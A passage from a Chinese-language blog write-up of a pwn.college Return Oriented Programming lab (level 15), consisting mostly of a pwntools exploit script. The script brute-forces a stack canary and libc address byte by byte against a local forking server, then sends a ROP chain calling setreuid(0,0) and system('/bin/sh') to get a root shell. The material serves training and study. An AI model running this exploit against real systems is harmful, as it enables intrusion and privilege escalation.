57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context.arch = "amd64"
# context.log_level = 'debug'
import subprocess

def kill_babyrop_processes():
try:
# 查找所有 babyrop_level15 进程
pids = subprocess.check_output(["pgrep", "babyrop_level15"]).decode().split()
if len(pids) > 1: # 当出现阻塞进程时
subprocess.run(["kill", "-9", pids[1]], check=True) # 杀死第二个pid,因为新出现的阻塞进程pid一定会大于原先的pid
print(f"[+] Killed babyrop_level15 (PID: {pids[1]})")
except subprocess.CalledProcessError:
pass # 没有找到进程


libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

padding = b'a' * 0x18

# stage_one: leak canary
x = 0x00
tmp = b''
canary = b''
while True:
p = remote('127.0.0.1', 1337)
tmp = canary
if x > 255:
x = 0
y = p8(x)
x += 1
tmp += y
payload = padding + tmp
print(payload)
p.send(payload)
out = p.recvall()
# print(out)
p.close()
if b'smashing detected ***: terminated' not in out:
canary += y
if len(canary) == 8:
break
x = 0
print("canary:", hex(u64(canary)))
pause()

# stage_two: leak libc_addr
x = 0x00
tmp = b''
libc_addr = p8(0x60)
while True:
p = remote('127.0.0.1', 1337)
tmp = libc_addr
if x > 255:
x = 0
y = p8(x)
x += 1
tmp += y
payload = padding + canary + p64(0xdeadbeef) + tmp
print(payload)
p.send(payload)
out = p.recvall(1)
p.close()
if b'### Welcome to' in out:
libc_addr += y
if len(libc_addr) == 8:
break
x = 0
kill_babyrop_processes()
print("libc_addr:", hex(u64(libc_addr)))
pause()

# stage_three: calculate libc_base
kill_babyrop_processes()
libc.address = u64(libc_addr) - 0x24060 # 注意是减0x60了,而不是0x83,因为我们的返回地址最低字节被手动设置了。
print("libc_addr", hex(libc.address))

# stage_four: ROP
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
print(rop.dump())

payload = padding + canary + p64(0x0) + rop.chain()
p = remote('127.0.0.1', 1337)
p.send(payload)
p.interactive()

这里需要杀死后面出现的进程,为什么呢?因为每次返回地址爆破成功时,会导致重新执行main,也就会重新执行listen等等。每爆破一个字节成功,就会重新成为server,并执行到read。那么此时就是阻塞的状态,等待用户输入。所以我们需要将新出现的进程杀死。以便爆破后面的字节。

level15.1

改偏移即可。ROP完结撒花!


pwn.college: Return Oriented Programming
https://loboq1ng.github.io/2025/03/26/pwn-college-Return-Oriented-Programming/
作者
Lobo Q1ng
发布于
2025年3月26日
许可协议